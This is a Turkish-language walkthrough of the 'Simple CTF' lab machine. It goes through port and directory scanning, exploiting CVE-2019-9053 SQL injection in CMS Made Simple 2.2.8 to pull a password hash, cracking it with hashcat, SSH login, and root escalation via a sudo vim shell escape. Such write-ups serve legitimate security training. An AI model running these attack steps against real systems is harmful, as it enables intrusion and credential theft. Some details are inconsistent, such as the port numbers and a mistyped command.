

SIMPLE CTF WRITEUP

Odaya ilk girildiğinde sorulara kısaca baktığımızda NMAP, Gobuster gibi tooları çalıştırmakta fayda olduğunu görüyoruz. Nmap açık portları ve portların numaralarını görmede, işletim sistemi ve versiyonlarını ve kullanılan servisleri görmekte yardımcı olan bir tooldur.

Nmap -h ile parametreleri görmek için kullanabiliriz. Burada 1000 in altında kaç port var göreceğiz

-sS tcp syn ile 1000'in altında iki tane port olduğunu gördük 22 ve 80. Portlar.

```
(root@kali)-[/home/kali]
# nmap -sS 10.10.240.29
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-22 07:46 E
Nmap scan report for 10.10.240.29
Host is up (0.083s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
2222/tcp  open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 8.20 seconds
```

-sV hem açıkları hem servisleri gösteriyor artı versiyonlar işletim sistemleri de var. -v kullanırsak detaylandıracaktır.

```
(root@kali)-[/home/kali]
# nmap -sV 10.10.240.29
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-22 07:50 E
DT
Nmap scan report for 10.10.240.29
Host is up (0.089s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
2222/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.63 seconds
```

-sV ikisini de Verdi hem açık portlar hem servisler -sS sadece açık portları verdi . Root privilege istiyor. Çünkü NULL, Stealth SYN Scan ve diğerleri gibi bazı gelişmiş port tarama özellikleri, Nmap'ın size kullanılabilir sonuçlar vermesi için ham paket verilerine erişmesi gerektiğinden yalnızca kök ayrıcalıklarıyla çalışabilir.8

CVE nin kodları var cve-2019-9053 gibi bunlar zafiyetlerin system versiyonlarına bağlı id leri. Ben şimdi gobuster ile sitenin alt sayfalarına girebilmem lazım . gobuster bir tane txt kullanıyo common txt ile bana alt sayfaları Verdi birinde versiyonunu veren bir sayfa buldum 2.2.8 cmd yazınca cve de aratınca id ler çıktı cve-2019-9053 kodu bu zafiyet ile uyuyor. SQL Injection zafiyeti olduğunu görüyorum.

```
(root@kali)-[/]
# gobuster dir -u http://10.10.240.29 -w ./usr/share/dirb/wordlists/common.txt

=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.10.240.29
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
=====
2022/07/22 08:31:54 Starting gobuster in directory enumeration mode
=====
/.hta (Status: 403) [Size: 291]
/.htpasswd (Status: 403) [Size: 296]
/.htaccess (Status: 403) [Size: 296]
/index.html (Status: 200) [Size: 11321]
/robots.txt (Status: 200) [Size: 929]
/server-status (Status: 403) [Size: 300]
/simple (Status: 301) [Size: 313] [→ http://10.10.240.29/simple/]
=====
2022/07/22 08:32:32 Finished
=====
```

Yukardaki simple sitesine girdim. Aşağıya bıraktığım versiyonu kullandığını gördüm.

Burada cve sitesindeki aşağıda gördüğümüz kısımda version ile birlikte arama yapıyoruz.

© Copyright 2004 - 2022 - CMS Made Simple
This site is powered by [CMS Made Simple](#) version 2.2.8

Simple sitesinde herhangi bir sayfasında bulabileceğimiz version ve sürümün verildiği kısım

Search CVE List

You can search the CVE List for a [CVE Record](#) if the [CVE ID](#) is known. To search by keyword, use a specific term or multiple keywords separated by a space. Your results will be the relevant CVE Records.

View the [search tips](#).

[CVE-2019-9053](#) : An issue was discovered in **CMS Made Simple 2.2 ...**
[www.cvedetails.com](#) > [cve](#) > [CVE-2019-9053](#)
Apr 24, 2019 ... CVE-2019-9053 : An issue was discovered in **CMS Made Simple 2.2.8**. It is possible with the News module, through a crafted URL, ...

Bir tek simple ve robots çalıştığını görmüştük sitelerden. CVE' de bulduğumuz zafiyetli kodu indiriyoruz ve aşağıdaki şekilde çalıştırıyoruz. (pythonun kullandığı gerekli kütüphaneler yüklü değil ise "pip install" komutu ile gerekli kütüphaneleri indirip çalıştırmanız gerekebilir)

```
root@ip-10-10-10-10:~# python2 46635.py -u http://10.10.10.10/simple
```

Zafiyetli python kodunu çalıştıracakız ve sonuçlara bakacağız.

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
```

Sonuçlar bize flagleri veriyor. Fakat password şifrelenmiş şekilde burada hashcat toolunu kullanacağız. Bu tool hash algoritmalarına optimize çalışır ve decode eder. Hash algoritmaları parolaları şifreler. Burada bize kullanılacak wordlist gerekiyor, rockyou.txt kullandık. Böylece hash'li kodu decode edeceğiz.

```
root@ip-10-10-10-10:~# hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt
```

Şifreyi bulduk. Şimdi SSH ile bağlantı kuracağız. Adresi de python çıktısından almıştık. User.txt dosyasını görebilmek için bağlantı kurduktan sonra "ls" komutunu çalıştırdık, okuyabilmek için ise "cat" komutunu çalıştırdık ve diğer flag de buradan geliyor

```
Last login: Mon Aug 19 18:13:41 2019 from 10.10.10.10
$ ls
user.txt
$ cat user.txt
G00d j0b, keep up!
```

Pwd komutunu çalıştırarak nerde olduğumu görüyorum sonra kullanıcıların olduğu dizine kadar iniyorum ve iki kullanıcı olduğumu görüyorum mitch and sunbath. Diğer sorunun cevabının sunbath olduğunu görüyorum.

```
$ pwd
/home/mitch
$ cd ..
$ ls
mitch sunbath
$
```

```
$ sudo -l
User mitch may run the following commands on Machine:
  (root) NOPASSWD: /usr/bin/vim
```

Hangi kullanıcıda olduğumu görmek için üstteki komutu çalıştırıyorum. Kullanıcı mitch usr/bn/vimde çalışıyomuş bunu gördüm. Yetki yükseltmek için sudo vim komutu ile ssh da çalıştırıyoruz. Cevap vim

Sudo vim -c '!:bin/sh' komutu ile cd /root yapıyoruz sonra dosyaları görmek için ls diyoruz. Root.txt çıkıyor. Bir sonraki flag de burada.

```
$ sudo vim -c '!:bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

```
# cd /root
# ls
root.txt
# cat root.txt
[REDACTED]
#
```